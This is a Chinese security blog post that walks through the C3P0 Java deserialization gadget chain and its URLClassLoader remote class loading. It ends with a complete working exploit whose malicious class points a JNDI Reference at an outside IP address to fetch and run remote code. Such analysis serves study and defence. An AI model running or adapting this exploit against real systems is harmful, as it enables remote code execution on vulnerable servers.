【Web】浅聊Java反序列化之C3P0——URLClassLoader利用

news2024/11/19 19:20:04

目录

前言

C3P0介绍

回归本源——序列化的条件

利用链

利用链分析

入口——PoolBackedDataSourceBase#readObject

拨云见日——PoolBackedDataSourceBase#writeObject

综合分析

EXP


前言

这条链最让我眼前一亮的就是对Serializable接口的有无进行了一个玩,相较之前纯粹跟全继承Serializable接口的链子,思考又多了一个维度。(虽然不是关键)

C3P0介绍

pom依赖

<dependency>
    <groupId>com.mchange</groupId>
    <artifactId>c3p0</artifactId>
    <version>0.9.5.2</version>
</dependency>

C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。目前使用它的开源项目有Hibernate,Spring等。 

连接池类似于线程池,在一些情况下我们会频繁地操作数据库,此时Java在连接数据库时会频繁地创建或销毁句柄,增大资源的消耗。为了避免这样一种情况,我们可以提前创建好一些连接句柄,需要使用时直接使用句柄,不需要时可将其放回连接池中,准备下一次的使用。类似这样一种能够复用句柄的技术就是池技术。

回归本源——序列化的条件

求求师傅们别嫌我烦,让我再啰嗦几句QWQ

提问:

一个类的某个属性没有继承Serializable接口,这个类可以序列化吗?

回答:

在 Java 中,如果一个类的某个属性没有实现 Serializable 接口,但这个属性是 transient 的,那么这个类仍然可以被序列化。当对象被序列化时,transient 修饰的属性将会被忽略,不会被序列化到输出流中,而其他非 transient 的属性则会被正常序列化。

如果一个类的某个属性既不是 transient 的,也没有实现 Serializable 接口,那么在尝试对该类的实例对象进行序列化时,会导致编译错误或者在运行时抛出 NotSerializableException 异常。

因此,为了确保一个类的实例对象可以被成功序列化,通常建议满足以下条件:

  1. 类本身实现 Serializable 接口;
  2. 所有非 transient 的属性都实现 Serializable 接口,或者是基本数据类型(如 int、long 等);
  3. 如果有某些属性不需要被序列化,可以将它们声明为 transient。

利用链

PoolBackedDataSourceBase#readObject->
ReferenceIndirector#getObject->
ReferenceableUtils#referenceToObject->
of(ObjectFactory)#getObjectInstance

利用链分析

入口——PoolBackedDataSourceBase#readObject

PoolBackedDataSourceBase中有个ConnectionPoolDataSource类型的私用属性

private ConnectionPoolDataSource connectionPoolDataSource;

 注意到ConnectionPoolDataSource没有继承Serializable接口,也就无法被序列化

public interface ConnectionPoolDataSource  extends CommonDataSource

点到为止,再看PoolBackedDataSourceBase#readObject

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        short version = ois.readShort();
        switch (version) {
            case 1:
                Object o = ois.readObject();
                if (o instanceof IndirectlySerialized) {
                    o = ((IndirectlySerialized)o).getObject();
                }

                this.connectionPoolDataSource = (ConnectionPoolDataSource)o;
                this.dataSourceName = (String)ois.readObject();
                o = ois.readObject();
                if (o instanceof IndirectlySerialized) {
                    o = ((IndirectlySerialized)o).getObject();
                }

                this.extensions = (Map)o;
                this.factoryClassLocation = (String)ois.readObject();
                this.identityToken = (String)ois.readObject();
                this.numHelperThreads = ois.readInt();
                this.pcs = new PropertyChangeSupport(this);
                this.vcs = new VetoableChangeSupport(this);
                return;
            default:
                throw new IOException("Unsupported Serialized Version: " + version);
        }
    }

我们发现一个奇怪的逻辑:

判断对象o是否是IndirectlySerialized类的对象或者是其子类的对象,若是则调用getobject后强转对象为ConnectionPoolDataSource

也就是在反序列化时进行了这样的转换:IndirectlySerialized -> ConnectionPoolDataSource

这么做的目的是什么呢?

抛开目的不谈,((IndirectlySerialized)o).getObject()我们也不知道其具体实现是什么

public interface IndirectlySerialized extends Serializable {
    Object getObject() throws ClassNotFoundException, IOException;
}

 反序列化分析到这一步似乎已经瓶颈,我们下面再来看序列化的过程。

拨云见日——PoolBackedDataSourceBase#writeObject

来看PoolBackedDataSourceBase#writeObject

private void writeObject(ObjectOutputStream oos) throws IOException {
        oos.writeShort(1);

        ReferenceIndirector indirector;
        try {
            SerializableUtils.toByteArray(this.connectionPoolDataSource);
            oos.writeObject(this.connectionPoolDataSource);
        } catch (NotSerializableException var9) {
            MLog.getLogger(this.getClass()).log(MLevel.FINE, "Direct serialization provoked a NotSerializableException! Trying indirect.", var9);

            try {
                indirector = new ReferenceIndirector();
                oos.writeObject(indirector.indirectForm(this.connectionPoolDataSource));
            } 

这段逻辑是,首先尝试序列化当前对象的connectionPoolDataSource属性,若抛出NotSerializableException异常,即不能序列化,则catch这个异常,并用ReferenceIndirector.indirectForm处理后再序列化。

因为ConnectionPoolDataSource没有继承Serializable接口(上面提到过),所以我们会进到异常的逻辑中

跟进new ReferenceIndirector().indirectForm

public IndirectlySerialized indirectForm(Object var1) throws Exception {
        Reference var2 = ((Referenceable)var1).getReference();
        return new ReferenceSerialized(var2, this.name, this.contextName, this.environmentProperties);
    }

调用了connectionPoolDataSource属性的getReference(),返回Reference后作为参数封装进ReferenceSerialized对象,而ReferenceSerialized实现的接口IndirectlySerialized继承了Serializable接口,因此ReferenceSerialized可被序列化。

private static class ReferenceSerialized implements IndirectlySerialized
public interface IndirectlySerialized extends Serializable

OK到这里为止,我们知道了connectionPoolDataSource属性的序列化,最后写入的是ReferenceSerialized

也就是在序列化时进行了这样的转换:IndirectlySerialized -> ConnectionPoolDataSource

太好了,我逐渐理解了一切!

综合分析

上面所讲的序列化的过程其实就是为了照顾到不能直接序列化的ConnectionPoolDataSource,先提供一个可序列化的ReferenceSerialized(IndirectlySerialized)进行中转。

而反序列化的过程就是把中转的ReferenceSerialized(IndirectlySerialized)再度还原为PoolBackedDataSourceBase类的属性ConnectionPoolDataSource

好的,我们回过头再来看PoolBackedDataSourceBase#readObject中的这段代码

Object o = ois.readObject();
                if (o instanceof IndirectlySerialized) {
                    o = ((IndirectlySerialized)o).getObject();
                }

                this.connectionPoolDataSource = (ConnectionPoolDataSource)o;

((IndirectlySerialized)o).getObject()其实就是调用ReferenceIndirector#getObject

public Object getObject() throws ClassNotFoundException, IOException {
            try {
                InitialContext var1;
                if (this.env == null) {
                    var1 = new InitialContext();
                } else {
                    var1 = new InitialContext(this.env);
                }

                Context var2 = null;
                if (this.contextName != null) {
                    var2 = (Context)var1.lookup(this.contextName);
                }

                return ReferenceableUtils.referenceToObject(this.reference, this.name, var2, this.env);
            }

跟进ReferenceableUtils.referenceToObject()

顾名思义,这个方法用于将引用(Reference)转换为对象

 public static Object referenceToObject(Reference var0, Name var1, Context var2, Hashtable var3) throws NamingException {
        try {
            String var4 = var0.getFactoryClassName();
            String var11 = var0.getFactoryClassLocation();
            ClassLoader var6 = Thread.currentThread().getContextClassLoader();
            if (var6 == null) {
                var6 = ReferenceableUtils.class.getClassLoader();
            }

            Object var7;
            if (var11 == null) {
                var7 = var6;
            } else {
                URL var8 = new URL(var11);
                var7 = new URLClassLoader(new URL[]{var8}, var6);
            }

            Class var12 = Class.forName(var4, true, (ClassLoader)var7);
            ObjectFactory var9 = (ObjectFactory)var12.newInstance();
            return var9.getObjectInstance(var0, var1, var2, var3);
        }

Reference是之前序列化时候可控的(序列化时通过调用connectionPoolDataSource属性的getReference方法),我们只要传一个覆写了getReference方法的connectionPoolDataSource给PoolBackedDataSourceBase参与序列化即可。

之后显然可以通过URLClassLoader加载并实例化远程类

EXP

package com.c3p0;

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class C3P0 {
    public static void main(String[] args) throws Exception {
        PoolBackedDataSourceBase base = new PoolBackedDataSourceBase(false);
        Class clazz = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");
        Field cp = clazz.getDeclaredField("connectionPoolDataSource");
        cp.setAccessible(true);
        cp.set(base, new evil());

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(base);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
        Object o = (Object) ois.readObject();

    }

    public static class evil implements ConnectionPoolDataSource, Referenceable{

        public Reference getReference() throws NamingException {
            return new Reference("calc", "calc", "http://124.222.136.33:1337/");
        }

        public PooledConnection getPooledConnection() throws SQLException {
            return null;
        }

        public PooledConnection getPooledConnection(String user, String password) throws SQLException {
            return null;
        }

        public PrintWriter getLogWriter() throws SQLException {
            return null;
        }

        public void setLogWriter(PrintWriter out) throws SQLException {

        }

        public void setLoginTimeout(int seconds) throws SQLException {

        }

        public int getLoginTimeout() throws SQLException {
            return 0;
        }

        public Logger getParentLogger() throws SQLFeatureNotSupportedException {
            return null;
        }
    }
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1514425.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

day42 动态规划part4

先遍历物品还是先遍历背包二刷再考虑吧。累了&#xff0c;不想停留太久。 背包问题 二维 &#xff08;卡码网题目&#xff09; 各种解释&#xff1a; 要理解的是这个表格每一个格子都是当前所处情况的最大价值&#xff0c;我们用已经推导出的最大价值来推导当前情况的最大价值…

2.案例、鼠标时间类型、事件对象参数

案例 注册事件 <!-- //disabled默认情况用户不能点击 --><input type"button" value"我已阅读用户协议(5)" disabled><script>// 分析&#xff1a;// 1.修改标签中的文字内容// 2.定时器// 3.修改标签的disabled属性// 4.清除定时器// …

GUROBI之数学启发式算法Matheuristics

参考运小筹的帖子&#xff1a;优化求解器 | Gurobi 数学启发式算法&#xff1a;参数类型与案例实现 - 知乎 (zhihu.com) 简言之&#xff0c;数学启发式是算法就是数学规划和启发式算法的融合&#xff0c;与元启发式算法相比&#xff0c;数学启发式算法具有更强的理论性。 在GUR…

WEB区块链开发组件 - KLineChart

当我们开发区块链的时候&#xff0c;实现K线可能大家会想到EChart&#xff0c;但是EChart做可能需要耗费大量工作量&#xff0c;实现出来的功能估计也是牵强着用。 这时候&#xff0c;我们可能网上会搜索到TradingView,可是这个组件虽然功能非常强大&#xff0c;但是还是要费事…

视觉图像处理和FPGA实现第三次作业--实现一个加法器模块

一、adder模块 module adder(ina, inb, outa); input [5:0] ina ; input [5:0] inb ; output [6:0] outa ;assign outa ina inb; endmodule二、add模块 module add(a,b,c,d,e); input [5:0] a ; input [5:0] b ; input [5:…

Matlab R2021a安装教程(附带免费安装包)

作者&#xff1a;翟天保Steven 版权声明&#xff1a;著作权归作者所有&#xff0c;商业转载请联系作者获得授权&#xff0c;非商业转载请注明出处 Matlab简介 Matlab是一种高级技术计算语言和交互式环境&#xff0c;用于算法开发、数据可视化和数值计算。它集成了数学、工程和科…

unity中实现场景跳转

1&#xff0c;第一步创建2个场景&#xff08;右键资源窗口&#xff0c;名字这里我取的1111和2222&#xff09; 2.添加跳转按钮&#xff08;双击其中一个场景并添加按钮&#xff09; 3.编辑按钮的文字&#xff08;将原本的按钮打开点击里面的text&#xff0c;就可以在右边编辑文…

MySQL 多种日期处理函数介绍

MySQL 提供了多种日期处理函数&#xff0c;用于处理和操作日期和时间数据。这些函数可以帮助你执行如日期计算、时间转换、格式化输出等操作。以下是一些常用的 MySQL 日期处理函数及其用法&#xff1a; 日期和时间格式化函数 1. **DATE_FORMAT()**&#xff1a;将日期或时间戳格…

AI壁纸号一周增加上千粉丝,轻松变现的成功案例分享

前言 随着AI绘画技术的发展&#xff0c;传统的互联网副业壁纸号在新的技术加持下迎来了第二春。本文将分享一位壁纸号创作者的成功案例&#xff0c;并为大家提供创作门槛和硬件要求等相关信息。 该项目的创作门槛极低&#xff0c;基本上可以由AI完成内容创作。不过&#xff0…

使用python实现一个dicom影像解析入库程序demo

简介 DICOM&#xff08;Digital Imaging and Communications in Medicine&#xff09;是医学图像和相关信息的国际标准。它定义了医学影像的格式和通信协议&#xff0c;使得不同设备和系统之间可以交换和共享医学图像和相关数据&#xff0c;如CT扫描、MRI图像、超声波图像等。…

代码随想录算法训练营第七天| 454.四数相加II、383.赎金信、15.三数之和、18.四数之和

系列文章目录 目录 系列文章目录454.四数相加II使用HashMap法 383.赎金信哈希解法&#xff08;数组&#xff09; 15.三数之和双指针法 18.四数之和双指针法 454.四数相加II 题解&#xff1a;该题和1.两数之和的方法是一样的&#xff0c;这个题的难点在于key和value分别是什么。…

发那科数控机床FanucCNC(NCGuide)仿真模拟器配置和数据采集测试

开发日记3.12 此篇用于记录发那科数控机床(Fanuc CNC)采集程序开发中&#xff0c;用虚拟机做测试时&#xff0c;虚拟机的配置和使用以支持采集软件开发和测试。 配置虚拟机使用仿真软件 下载VMware15 「链接&#xff1a;https://pan.xunlei.com/s/VNsl9Gmb14ANBiiNlsT7vA2LA…

Day15 面向对象进阶——接Day14

Day15 面向对象进阶——接Day14 文章目录 Day15 面向对象进阶——接Day14一、访问修饰符二、Object三、深入String的equals()方法四、final 一、访问修饰符 1、含义&#xff1a;修饰类、方法、属性&#xff0c;定义使用的范围 2、经验&#xff1a; 2.1.属性一般使用private修…

springboot3 打包报错32-bit architecture x86 unsupported或者 returned non-zero result

springboot3 打包异常情况处理记录 在测试springboot3 native打包时候遇到的异常&#xff0c;百度和谷歌上方法都无法解决我的问题&#xff0c;最后记录一下我最后的原因和解决方案。 前置要求&#xff1a;自己处理好vs的相关内容后 报错一&#xff1a; [1/7] Initializing…

Vue3 前端生成随机id( 生成 UUID )

效果展示 封装工具&#xff08;代码展示&#xff09; 重新创建一个文件**/utils/someTools.js**&#xff0c;并在里面写入如下代码。 function Tools() {}Tools.prototype.guid function () {return xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx.replace(/[xy]/g, function (c) {v…

Android SDK 开发 云托管

开发SDK,拒绝重复造轮子。 本文陈述两种SDK开发方式&#xff0c;第一种AAR方式&#xff1b;第二种远程依赖方式。 具体步骤分为&#xff1a; 一、如何开发SDK&#xff1f; 二、如何打包AAR&#xff1f; 三、如何打包AAR&#xff1f; 四、如何进行SDK远程托管&#xff1f; 五、如…

工业物联网平台在水务环保、暖通制冷、电力能源等行业的应用

随着科技的不断发展&#xff0c;工业物联网平台作为连接物理世界与数字世界的桥梁&#xff0c;正逐渐成为推动各行业智能化转型的关键力量。在水务环保、暖通制冷、电力能源等行业&#xff0c;工业物联网平台的应用尤为广泛&#xff0c;对于提升运营效率、降低能耗、优化管理等…

toJSONString空值被忽略解决办法 toJSONString过程中时间格式丢失问题解决办法

toJSONString空值被忽略解决办法 原代码&#xff1a; GcGarbageBuildingDO data gcGarbageBuildingService.get(id); result.putAll(JSON.parseObject(JSON.toJSONString(data), Map.class));查询出来的data中部分字段值为null&#xff0c;在toJSONString的过程中会把null值…

基于STM32的感应开关垃圾桶

1.定时器介绍 1.1 工作原理 使用精准的时基&#xff0c;通过硬件的方式&#xff0c;实现定时功能。 1.2 定时器分类 基本定时器&#xff08;TIM6~TIM7&#xff09;通用定时器&#xff08;TIM2~TIM5&#xff09;高级定时器&#xff08;TIM1和TIM8&#xff09; 1.3 通用定时器…

【C语言】Windows下的C语言线程编程详解

文章目录 1. 头文件1.1 windows.h1.2 process.h 2. 创建线程3. 线程同步3.1 线程同步方式3.1 互斥量&#xff08;Mutex&#xff09;3.2 事件&#xff08;Event&#xff09; 4. 线程的结束与资源管理5.线程池&#xff08;简要&#xff09; 在Windows平台下&#xff0c;C语言提供…